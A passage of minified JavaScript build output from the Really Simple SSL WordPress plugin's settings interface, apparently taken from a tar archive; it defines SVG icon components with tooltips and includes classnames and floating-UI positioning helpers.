48s21.5 48 48 48s48-21.5 48-48zM142.9 437c18.7-18.7 18.7-49.1 0-67.9s-49.1-18.7-67.9 0s-18.7 49.1 0 67.9s49.1 18.7 67.9 0zm0-294.2c18.7-18.7 18.7-49.1 0-67.9S93.7 56.2 75 75s-18.7 49.1 0 67.9s49.1 18.7 67.9 0zM369.1 437c18.7 18.7 49.1 18.7 67.9 0s18.7-49.1 0-67.9s-49.1-18.7-67.9 0s-18.7 49.1 0 67.9z"}))),"file-download"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 384 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M216 342.1V240c0-13.25-10.75-24-24-24S168 226.8 168 240v102.1L128.1 303C124.3 298.3 118.2 296 112 296S99.72 298.3 95.03 303c-9.375 9.375-9.375 24.56 0 33.94l80 80c9.375 9.375 24.56 9.375 33.94 0l80-80c9.375-9.375 9.375-24.56 0-33.94s-24.56-9.375-33.94 0L216 342.1zM365.3 93.38l-74.63-74.64C278.6 6.742 262.3 0 245.4 0H64C28.65 0 0 28.65 0 64l.0065 384c0 35.34 28.65 64 64 64H320c35.2 0 64-28.8 64-64V138.6C384 121.7 377.3 105.4 365.3 93.38zM336 448c0 8.836-7.164 16-16 16H64.02c-8.838 0-16-7.164-16-16L48 64.13c0-8.836 7.164-16 16-16h160L224 128c0 17.67 14.33 32 32 32h79.1V448z"}))),"calendar"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M152 64H296V24C296 10.75 306.7 0 320 0C333.3 0 344 10.75 344 24V64H384C419.3 64 448 92.65 448 128V448C448 483.3 419.3 512 384 512H64C28.65 512 0 483.3 0 448V128C0 92.65 28.65 64 64 64H104V24C104 10.75 114.7 0 128 0C141.3 0 152 10.75 152 24V64zM48 448C48 456.8 55.16 464 64 464H384C392.8 464 400 456.8 400 448V192H48V448z"}))),"calendar-error"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 576 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M151.1 64H296V24C296 10.75 306.7 0 320 0C333.3 0 344 10.75 344 24V64H384C419.3 64 448 92.65 448 128V192H47.1V448C47.1 456.8 55.16 464 63.1 464H284.5C296.7 482.8 312.5 499.1 330.8 512H64C28.65 512 0 483.3 0 448V128C0 92.65 28.65 64 64 64H104V24C104 10.75 114.7 0 128 0C141.3 0 152 10.75 152 24L151.1 64zM576 368C576 447.5 511.5 512 432 512C352.5 512 287.1 447.5 287.1 368C287.1 288.5 352.5 224 432 224C511.5 224 576 288.5 576 368zM432 416C418.7 416 408 426.7 408 440C408 453.3 418.7 464 432 464C445.3 464 456 453.3 456 440C456 426.7 445.3 416 432 416zM447.1 288C447.1 279.2 440.8 272 431.1 272C423.2 272 415.1 279.2 415.1 288V368C415.1 376.8 423.2 384 431.1 384C440.8 384 447.1 376.8 447.1 368V288z"}))),"help"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 400c-18 0-32-14-32-32s13.1-32 32-32c17.1 0 32 14 32 32S273.1 400 256 400zM325.1 258L280 286V288c0 13-11 24-24 24S232 301 232 288V272c0-8 4-16 12-21l57-34C308 213 312 206 312 198C312 186 301.1 176 289.1 176h-51.1C225.1 176 216 186 216 198c0 13-11 24-24 24s-24-11-24-24C168 159 199 128 237.1 128h51.1C329 128 360 159 360 198C360 222 347 245 325.1 258z"}))),"copy"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M502.6 70.63l-61.25-61.25C435.4 3.371 427.2 0 418.7 0H255.1c-35.35 0-64 28.66-64 64l.0195 256C192 355.4 220.7 384 256 384h192c35.2 0 64-28.8 64-64V93.25C512 84.77 508.6 76.63 502.6 70.63zM464 320c0 8.836-7.164 16-16 16H255.1c-8.838 0-16-7.164-16-16L239.1 64.13c0-8.836 7.164-16 16-16h128L384 96c0 17.67 14.33 32 32 32h47.1V320zM272 448c0 8.836-7.164 16-16 16H63.1c-8.838 0-16-7.164-16-16L47.98 192.1c0-8.836 7.164-16 16-16H160V128H63.99c-35.35 0-64 28.65-64 64l.0098 256C.002 483.3 28.66 512 64 512h192c35.2 0 64-28.8 64-64v-32h-47.1L272 448z"}))),"info"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M256 512c141.4 0 256-114.6 256-256S397.4 0 256 0S0 114.6 0 256S114.6 512 256 512zM216 336h24V272H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h48c13.3 0 24 10.7 24 24v88h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-144c-17.7 0-32-14.3-32-32s14.3-32 32-32s32 14.3 32 32s-14.3 32-32 32z"}))),"info-open"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 464c-114.7 0-208-93.31-208-208S141.3 48 256 48s208 93.31 208 208S370.7 464 256 464zM256 304c13.25 0 24-10.75 24-24v-128C280 138.8 269.3 128 256 128S232 138.8 232 152v128C232 293.3 242.8 304 256 304zM256 337.1c-17.36 0-31.44 14.08-31.44 31.44C224.6 385.9 238.6 400 256 400s31.44-14.08 31.44-31.44C287.4 351.2 273.4 337.1 256 337.1z"}))),"list"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M184.1 38.2c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L39 113c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zm0 160c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L39 273c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zM256 96c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H288c-17.7 0-32-14.3-32-32zm0 160c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H288c-17.7 0-32-14.3-32-32zM192 416c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32zM80 464c-26.5 0-48-21.5-48-48s21.5-48 48-48s48 21.5 48 48s-21.5 48-48 48z"}))),"empty"===c&&(m=(0,l.createElement)("svg",{height:n,width:n,"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 280.8 363.67"})),"external-link"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zM160 144c-13.3 0-24 10.7-24 24s10.7 24 24 24h94.1L119 327c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l135-135V328c0 13.3 10.7 24 24 24s24-10.7 24-24V168c0-13.3-10.7-24-24-24H160z"}))),"shield"===c&&(m=(0,l.createElement)("svg",{height:n,"aria-hidden":"true",focusable:"false",role:"img",id:"uuid-026a4e87-44db-4336-a398-3c29d25b7317",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 280.8 363.67"},(0,l.createElement)("path",{fill:"#f9c23e",d:"M280.8,62.4L140.5,0,0,62.2V213.3c0,10.7,1.6,21.3,4.9,31.5,9.5,29.9,28.2,52.8,54.4,69.5,26,16.6,52.4,32.4,78.6,48.6,2,1.2,3.4,.9,5.1-.2,19.9-12.3,39.8-24.5,59.6-36.8,12.6-7.8,25.5-15.1,36.5-25.1,26.4-24.2,41.4-53.6,41.5-89.9V62.4h.2Z"}),(0,l.createElement)("g",null,(0,l.createElement)("g",null,(0,l.createElement)("rect",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",x:"155",y:"266.8",width:"77.6",height:"6"}),(0,l.createElement)("path",{fill:"#1d2327",d:"M224.4,204.5h-1.8v-10.1c0-15.9-12.9-28.8-28.8-28.8s-28.8,12.9-28.8,28.8v10.1h-1.8c-4.6,0-8.3,3.7-8.3,8.3v51.3h77.6v-51.3c0-4.6-3.7-8.3-8.3-8.3h.2Zm-45.3-10.1c0-8.1,6.6-14.7,14.7-14.7s14.7,6.6,14.7,14.7v10.1h-29.5v-10.1h.1Zm36.6,32.9l-20.7,20.2c-.2,.2-.3,.4-.5,.6l-2,2c-.2,.2-.4,.4-.6,.5l-3.8,3.8-4.5-4.3-2-2c-.2-.2-.4-.4-.5-.6l-9.1-9.1c-2.4-2.4-2.4-6.4,0-8.8l2-2c2.4-2.4,6.4-2.4,8.8,0l5.3,5.3,16.9-16.4c2.4-2.4,6.4-2.4,8.8,0l2,2c2.4,2.4,2.4,6.4,0,8.8h-.1Z"})),(0,l.createElement)("g",null,(0,l.createElement)("path",{fill:"#1d2327",d:"M125.2,192.3c-.5-2.9-.5-5.8-1-8.6-.5-2.4-2.6-4-4.8-3.9-2.3,0-4.2,1.9-4.7,4.3-.2,1,0,1.9,0,2.9,.8,14.6,7.2,26.3,18.2,35.7,2.2,1.9,4.5,3.5,6.9,4.8v-11.8c-7.4-5.8-12.9-14.1-14.6-23.3v-.1Z"}),(0,l.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M96.4,236.1c-13-15-20-32.3-19.5-52.3,.3-13.1,6.1-23.6,16.6-31.2,11.5-8.5,24.5-10.9,38.3-7.1,12.7,3.5,22,10.7,27.4,22,2.1-2.7,4.5-5.2,7.2-7.4-4-7-9.7-12.9-17-17.4-17-10.4-34.9-11.7-52.9-3.1-19,9.1-28.7,24.7-29.3,45.8,0,5.2,.5,10.2,1.4,15.2,3.4,19.4,13.4,35.2,27.2,48.9,1.1,1.1,2.5,1.6,4.1,1.4,1.8-.2,3.2-1.3,3.8-3,.6-1.8,.4-3.6-1-5.1-2.1-2.2-4.2-4.4-6.2-6.7h-.1Z"}),(0,l.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M68.1,89.4c1.1-.4,2.1-1,3.1-1.5,17.9-9.1,36.8-12.7,56.8-11.3,12.2,.8,23.9,3.8,35.1,8.7,3,1.3,5.9,2.8,8.9,4.1,2.7,1.1,5.3,0,6.4-2.4,1.1-2.3,0-5-2.3-6.3-11-5.7-22.4-10-34.6-12.3-4.2-.8-8.5-1.1-12.8-1.7h-17.1c-.3,0-.6,.2-.9,.2-11.2,.8-22,3.2-32.5,7.2-4.9,1.9-9.7,4.1-14.3,6.6-2.5,1.3-3.4,4.2-2.2,6.5,1.1,2.2,4,3.2,6.4,2.1v.1Z"}),(0,l.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M61.1,153.5c13.6-21.6,33.6-31.5,58.7-32.1h6c.8,0,1.6,.2,2.3,.3,13.4,1.7,25.5,6.6,35.9,15.4,5.8,4.9,10.5,10.3,14.1,16.2,3.1-1.2,6.4-2,9.8-2.5-4.7-8.7-11.3-16.3-19.6-22.7-19-14.6-40.5-19.5-64.1-15.1-14.3,2.7-26.9,9-37.7,18.8-10.4,9.5-17.8,20.9-21.2,34.6-2.8,11.3-2.6,22.7-.9,34.1,1.1,7,2.9,13.9,5.4,20.5,.9,2.3,3,3.7,5.2,3.5,2.1-.2,3.9-2,4.3-4.3,.2-1.1-.2-2.2-.6-3.2-4.3-11.9-6.3-24.1-5.6-36.7,.5-9.6,2.8-18.7,8-26.8h0Z"}),(0,l.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M139.8,240.6c-20.9-8.4-34.1-23.7-38.4-46.7-.8-4.3-1.4-8.7-.4-13,1.8-7.1,6.4-11.4,13.4-13.5,11.8-3.4,24.7,5.3,24.5,17.6,0,4.8,1.4,9.3,4,13.4,.3,.5,.6,.9,.9,1.3,1.6-2.4,3.7-4.6,6.1-6.2,0-.9,0-1.9,.2-2.8-.7-1.7-1.1-3.5-1.2-5.3-.3-6.1-1.6-11.9-5.5-16.8-6.8-8.8-15.9-12.4-27-11.5-11.3,.9-21.6,9.6-24.5,20.6-1.8,6.6-.9,13.3,.4,19.8,2.4,12.9,8.2,24,17.1,33.7,8.6,9.4,18.8,15.8,30.6,19.8v-10.4h-.2Z"}),(0,l.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M47.5,133.2c6.8-8.8,15-16,24.6-21.6,20.8-12,43.2-15.2,66.6-11,14.8,2.7,28.2,8.7,39.9,18.2,6.3,5,11.6,11,16.4,17.4,1.9,2.5,4.8,2.8,7,1.1,2.1-1.7,2.4-4.5,.6-7-5.9-8.2-12.8-15.3-20.9-21.3-18.3-13.6-39.1-19.6-61.7-20-6.3,0-12.5,.6-18.6,1.6-15.7,2.8-30.1,8.6-42.9,18.1-8.3,6.2-15.5,13.5-21.5,22-1.6,2.3-1.3,5.1,.7,6.7,2.1,1.7,4.9,1.5,6.8-.7,1-1.2,1.9-2.5,2.9-3.7l.1,.2Z"}))))),"file-search"===c&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",height:n,fill:"none",viewBox:"0 0 384 512"},(0,l.createElement)("path",{d:"M374.6 150.6l-141.3-141.3C227.4 3.371 219.2 0 210.7 0H64C28.65 0 0 28.65 0 64l.0065 384c0 35.34 28.65 64 64 64H320c35.35 0 64-28.66 64-64V173.3C384 164.8 380.6 156.6 374.6 150.6zM224 22.63L361.4 160H248C234.8 160 224 149.2 224 136V22.63zM368 448c0 26.47-21.53 48-48 48H64c-26.47 0-48-21.53-48-48V64c0-26.47 21.53-48 48-48h144v120c0 22.06 17.94 40 40 40h120V448zM176 208c-53.02 0-96 42.98-96 96s42.98 96 96 96c23.62 0 44.96-8.859 61.68-23l68.66 68.66C307.9 447.2 309.9 448 312 448s4.094-.7813 5.656-2.344c3.125-3.125 3.125-8.188 0-11.31l-68.66-68.66C263.1 348.1 272 327.6 272 304C272 250.1 229 208 176 208zM176 384C131.9 384 96 348.1 96 304S131.9 224 176 224S256 259.9 256 304S220.1 384 176 384z"}))),"download"===c&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",height:n,fill:"none",viewBox:"0 0 512 512"},(0,l.createElement)("path",{d:"M480 352h-88C387.6 352 384 355.6 384 360s3.582 8 8 8H480c8.822 0 16 7.178 16 16v96c0 8.822-7.178 16-16 16H32c-8.822 0-16-7.178-16-16v-96c0-8.822 7.178-16 16-16h88C124.4 368 128 364.4 128 360S124.4 352 120 352H32c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-96C512 366.3 497.7 352 480 352zM464 432c0-17.6-14.4-32-32-32s-32 14.4-32 32c0 17.6 14.4 32 32 32S464 449.6 464 432zM416 432c0-8.822 7.178-16 16-16s16 7.178 16 16S440.8 448 432 448S416 440.8 416 432zM250.3 413.7c3.125 3.125 8.188 3.125 11.31 0l152-152C415.2 260.1 416 258.1 416 256s-.7813-4.094-2.344-5.656c-3.125-3.125-8.188-3.125-11.31 0L264 388.7V8C264 3.594 260.4 0 256 0S248 3.594 248 8v380.7L109.7 250.3c-3.125-3.125-8.188-3.125-11.31 0s-3.125 8.188 0 11.31L250.3 413.7z"}))),"satellite-dish"===c&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",color:o[i],height:n,viewBox:"0 0 512 512"},(0,l.createElement)("path",{d:"M208 0c-8.8 0-16 7.2-16 16s7.2 16 16 16c150.2 0 272 121.8 272 272c0 8.8 7.2 16 16 16s16-7.2 16-16C512 136.1 375.9 0 208 0zm0 96c-8.8 0-16 7.2-16 16s7.2 16 16 16c97.2 0 176 78.8 176 176c0 8.8 7.2 16 16 16s16-7.2 16-16c0-114.9-93.1-208-208-208zM32 304c0-24.5 5-47.7 13.9-68.8L276.8 466.1C255.7 475 232.5 480 208 480c-97.2 0-176-78.8-176-176zm33.5-94.5c-14-14-37.3-12.1-45.7 5.8C7.1 242.2 0 272.3 0 304C0 418.9 93.1 512 208 512c31.7 0 61.8-7.1 88.7-19.8c17.9-8.4 19.8-31.8 5.8-45.7L195.3 339.3l24-24c6.3 3 13.3 4.7 20.7 4.7c26.5 0 48-21.5 48-48s-21.5-48-48-48s-48 21.5-48 48c0 7.4 1.7 14.4 4.7 20.7l-24 24L65.5 209.5zM224 272a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"}))),"rotate-light"===c&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",color:o[i],height:n,viewBox:"0 0 512 512"},(0,l.createElement)("path",{d:"M426.1 301.2C406.2 376.5 337.6 432 256 432c-51 0-96.9-21.7-129-56.3l41-41c5.1-5.1 8-12.1 8-19.3c0-15.1-12.2-27.3-27.3-27.3H48c-8.8 0-16 7.2-16 16V404.7C32 419.8 44.2 432 59.3 432c7.2 0 14.2-2.9 19.3-8l25.7-25.7C142.3 438.7 196.2 464 256 464c97.4 0 179.2-67 201.8-157.4c2.4-9.7-5.2-18.6-15.2-18.6c-7.8 0-14.5 5.6-16.5 13.2zM385 136.3l-41 41c-5.1 5.1-8 12.1-8 19.3c0 15.1 12.2 27.3 27.3 27.3H464c8.8 0 16-7.2 16-16V107.3C480 92.2 467.8 80 452.7 80c-7.2 0-14.2 2.9-19.3 8l-25.7 25.7C369.7 73.3 315.8 48 256 48C158.6 48 76.8 115 54.2 205.4c-2.4 9.7 5.2 18.6 15.2 18.6c7.8 0 14.5-5.6 16.5-13.2C105.8 135.5 174.4 80 256 80c51 0 96.9 21.7 129.1 56.3zM448 192H374.6L448 118.6V192zM64 320h73.4L64 393.4V320z"}))),"rotate-exclamation-light"===c&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("defs",null,(0,l.createElement)("style",null,`\n            .fa-secondary {\n              opacity: 0.4;\n              color: ${o[i]};\n            }\n          `)),(0,l.createElement)("path",{className:"fa-primary",d:"M280 152c0-13.3-10.7-24-24-24s-24 10.7-24 24V264c0 13.3 10.7 24 24 24s24-10.7 24-24V152zM256 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"}),(0,l.createElement)("path",{className:"fa-secondary",d:"M432 117.4C391 65.4 327.4 32 256 32C158.4 32 75.5 94.4 44.8 181.3c-5.9 16.7 2.8 34.9 19.5 40.8s34.9-2.8 40.8-19.5C127.1 140.5 186.4 96 256 96c52.3 0 98.8 25.1 128 64H352c-17.7 0-32 14.3-32 32s14.3 32 32 32h84.3c.5 0 1 0 1.5 0H464c17.7 0 32-14.3 32-32V80c0-17.7-14.3-32-32-32s-32 14.3-32 32v37.4zm35.2 213.2c5.9-16.7-2.8-34.9-19.5-40.8s-34.9 2.8-40.8 19.5C384.9 371.5 325.6 416 256 416c-52.3 0-98.8-25.1-128-64h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H48c-17.7 0-32 14.3-32 32V432c0 17.7 14.3 32 32 32s32-14.3 32-32V394.6c41 52 104.6 85.4 176 85.4c97.6 0 180.5-62.4 211.2-149.3z"}))),"radar-duotone"===c&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("defs",null,(0,l.createElement)("style",null,`\n            .fa-secondary {\n              color: ${o[i]} !important;\n            }        \n          `)),(0,l.createElement)("path",{className:"fa-primary",d:"M497 49c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-182 182c-7.7-3.3-16.1-5.1-25-5.1c-35.3 0-64 28.7-64 64s28.7 64 64 64s64-28.7 64-64c0-8.9-1.8-17.3-5.1-25L497 49z"}),(0,l.createElement)("path",{className:"fa-secondary",d:"M350.9 127.2l-46.1 46.1c-14.3-8.4-31-13.3-48.8-13.3c-53 0-96 43-96 96s43 96 96 96s96-43 96-96h64c0 73.5-49.6 135.5-117.2 154.2C290.8 394.7 274.7 384 256 384s-34.8 10.7-42.8 26.2c-51.7-14.3-92.8-53.9-109.4-104.6c14.4-8.3 24.1-23.8 24.1-41.7c0-19.4-11.5-36.1-28-43.7C116.2 149.1 179.9 96 256 96c35.5 0 68.3 11.6 94.9 31.2zm22.8-22.8C341.2 79 300.4 64 256 64C163.1 64 85.7 129.9 67.9 217.6C47.2 222.9 32 241.7 32 264c0 23.8 17.3 43.6 40.1 47.4c19.3 64.3 71.5 114.4 137 130.9C213.8 463.8 233 480 256 480s42.2-16.2 46.9-37.8C386.3 421.3 448 345.9 448 256h64c0 141.4-114.6 256-256 256S0 397.4 0 256S114.6 0 256 0c62.1 0 118.9 22.1 163.3 58.8l-45.5 45.5z"}))),"satellite-dish-duotone"===c&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("defs",null,(0,l.createElement)("style",null,`\n            .fa-secondary {\n              color: ${o[i]} !important;\n            }        \n          `)),(0,l.createElement)("path",{className:"fa-primary",d:"M60.6 220.6c-14.5-14.5-38.8-11.8-46.3 7.3C5.1 251.5 0 277.1 0 304C0 418.9 93.1 512 208 512c26.9 0 52.5-5.1 76.1-14.4c19-7.5 21.8-31.8 7.3-46.3L187.3 347.3l28.4-28.4c2.6 .7 5.4 1.1 8.3 1.1c17.7 0 32-14.3 32-32s-14.3-32-32-32s-32 14.3-32 32c0 2.9 .4 5.6 1.1 8.3l-28.4 28.4L60.6 220.6z"}),(0,l.createElement)("path",{className:"fa-secondary",d:"M224 0c-17.7 0-32 14.3-32 32s14.3 32 32 32c123.7 0 224 100.3 224 224c0 17.7 14.3 32 32 32s32-14.3 32-32C512 128.9 383.1 0 224 0zm0 96c-17.7 0-32 14.3-32 32s14.3 32 32 32c70.7 0 128 57.3 128 128c0 17.7 14.3 32 32 32s32-14.3 32-32c0-106-86-192-192-192z"}))),"spinner"===c&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",width:"20",height:"20"},(0,l.createElement)("defs",null,(0,l.createElement)("style",null,"\n                            .fa-secondary {\n                              opacity: 0.4;\n                            }\n                          ")),(0,l.createElement)("path",{className:"fa-primary",d:"M304 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM96 256A48 48 0 1 0 0 256a48 48 0 1 0 96 0zM75 142.9A48 48 0 1 0 142.9 75 48 48 0 1 0 75 142.9z"}),(0,l.createElement)("path",{className:"fa-secondary",d:"M369.1 75A48 48 0 1 1 437 142.9 48 48 0 1 1 369.1 75zM416 256a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM208 464a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM75 369.1A48 48 0 1 1 142.9 437 48 48 0 1 1 75 369.1zm294.2 0A48 48 0 1 1 437 437a48 48 0 1 1 -67.9-67.9z"}))),(0,l.createElement)("div",{...e,ref:t},m)})),c=({name:e,color:t,size:s,tooltip:c})=>{const i=e||"bullet",n=t||"black";let o=s||15,m=c?"tooltip-":"",d=Math.floor(1e9*Math.random());return c?(0,l.createElement)("div",{className:"rsssl-"+m+"icon rsssl-icon-"+i+" rsssl-"+n},(0,l.createElement)(a,{"data-for":".rsssl-"+d,name:i,color:n,size:o,id:d,className:"rsssl-"+d,"data-tooltip-delay-hide":200}),(0,l.createElement)(r.m_,{style:{zIndex:99},id:d,place:"bottom",anchorSelect:".rsssl-"+d,content:c})):(0,l.createElement)("div",{className:"rsssl-"+m+"icon rsssl-icon-"+i+" rsssl-"+n},(0,l.createElement)(a,{name:i,color:n,size:o}))}},9166:(e,t,s)=>{s.d(t,{A:()=>l});const l=e=>function(t){return new Promise((s=>setTimeout((()=>s(t)),e)))}}}]);really-simple-ssl/settings/build/519.cd578c0795e645866066.js000064400000112702147510273070016373 0ustar00(self.webpackChunkreally_simple_ssl=self.webpackChunkreally_simple_ssl||[]).push([[519],{6942:(e,t)=>{var o;!function(){"use strict";var n={}.hasOwnProperty;function r(){for(var e="",t=0;t<arguments.length;t++){var o=arguments[t];o&&(e=i(e,l(o)))}return e}function l(e){if("string"==typeof e||"number"==typeof e)return e;if("object"!=typeof e)return"";if(Array.isArray(e))return r.apply(null,e);if(e.toString!==Object.prototype.toString&&!e.toString.toString().includes("[native code]"))return e.toString();var t="";for(var o in e)n.call(e,o)&&e[o]&&(t=i(t,o));return t}function i(e,t){return t?e?e+" "+t:e+t:e}e.exports?(r.default=r,e.exports=r):void 0===(o=function(){return r}.apply(t,[]))||(e.exports=o)}()},6635:(e,t,o)=>{"use strict";function n(){return"undefined"!=typeof window}function r(e){return s(e)?(e.nodeName||"").toLowerCase():"#document"}function l(e){var t;return(null==e||null==(t=e.ownerDocument)?void 0:t.defaultView)||window}function i(e){var t;return null==(t=(s(e)?e.ownerDocument:e.document)||window.document)?void 0:t.documentElement}function s(e){return!!n()&&(e instanceof Node||e instanceof l(e).Node)}function c(e){return!!n()&&(e instanceof Element||e instanceof l(e).Element)}function a(e){return!!n()&&(e instanceof HTMLElement||e instanceof l(e).HTMLElement)}function u(e){return!(!n()||"undefined"==typeof ShadowRoot)&&(e instanceof ShadowRoot||e instanceof l(e).ShadowRoot)}function d(e){const{overflow:t,overflowX:o,overflowY:n,display:r}=g(e);return/auto|scroll|overlay|hidden|clip/.test(t+n+o)&&!["inline","contents"].includes(r)}function f(e){return["table","td","th"].includes(r(e))}function p(e){return[":popover-open",":modal"].some((t=>{try{return e.matches(t)}catch(e){return!1}}))}function m(e){const t=y(),o=c(e)?g(e):e;return"none"!==o.transform||"none"!==o.perspective||!!o.containerType&&"normal"!==o.containerType||!t&&!!o.backdropFilter&&"none"!==o.backdropFilter||!t&&!!o.filter&&"none"!==o.filter||["transform","perspective","filter"].some((e=>(o.willChange||"").includes(e)))||["paint","layout","strict","content"].some((e=>(o.contain||"").includes(e)))}function v(e){let t=b(e);for(;a(t)&&!h(t);){if(m(t))return t;if(p(t))return null;t=b(t)}return null}function y(){return!("undefined"==typeof CSS||!CSS.supports)&&CSS.supports("-webkit-backdrop-filter","none")}function h(e){return["html","body","#document"].includes(r(e))}function g(e){return l(e).getComputedStyle(e)}function w(e){return c(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.scrollX,scrollTop:e.scrollY}}function b(e){if("html"===r(e))return e;const t=e.assignedSlot||e.parentNode||u(e)&&e.host||i(e);return u(t)?t.host:t}function x(e){const t=b(e);return h(t)?e.ownerDocument?e.ownerDocument.body:e.body:a(t)&&d(t)?t:x(t)}function _(e,t,o){var n;void 0===t&&(t=[]),void 0===o&&(o=!0);const r=x(e),i=r===(null==(n=e.ownerDocument)?void 0:n.body),s=l(r);if(i){const e=E(s);return t.concat(s,s.visualViewport||[],d(r)?r:[],e&&o?_(e):[])}return t.concat(r,_(r,[],o))}function E(e){return e.parent&&Object.getPrototypeOf(e.parent)?e.frameElement:null}o.d(t,{$4:()=>b,CP:()=>w,L9:()=>g,Lv:()=>f,Tc:()=>y,Tf:()=>p,ZU:()=>d,_m:()=>E,ep:()=>i,eu:()=>h,gJ:()=>v,mq:()=>r,sQ:()=>m,sb:()=>a,v9:()=>_,vq:()=>c,zk:()=>l})},7193:(e,t,o)=>{"use strict";o.d(t,{B1:()=>S,C0:()=>f,Dz:()=>h,Jx:()=>s,LI:()=>l,PG:()=>m,RI:()=>i,Sg:()=>p,T9:()=>r,TV:()=>y,WJ:()=>w,_3:()=>d,bV:()=>_,jk:()=>n,lP:()=>x,nI:()=>E,qE:()=>u,sq:()=>v,w7:()=>g});const n=Math.min,r=Math.max,l=Math.round,i=Math.floor,s=e=>({x:e,y:e}),c={left:"right",right:"left",bottom:"top",top:"bottom"},a={start:"end",end:"start"};function u(e,t,o){return r(e,n(t,o))}function d(e,t){return"function"==typeof e?e(t):e}function f(e){return e.split("-")[0]}function p(e){return e.split("-")[1]}function m(e){return"x"===e?"y":"x"}function v(e){return"y"===e?"height":"width"}function y(e){return["top","bottom"].includes(f(e))?"y":"x"}function h(e){return m(y(e))}function g(e,t,o){void 0===o&&(o=!1);const n=p(e),r=h(e),l=v(r);let i="x"===r?n===(o?"end":"start")?"right":"left":"start"===n?"bottom":"top";return 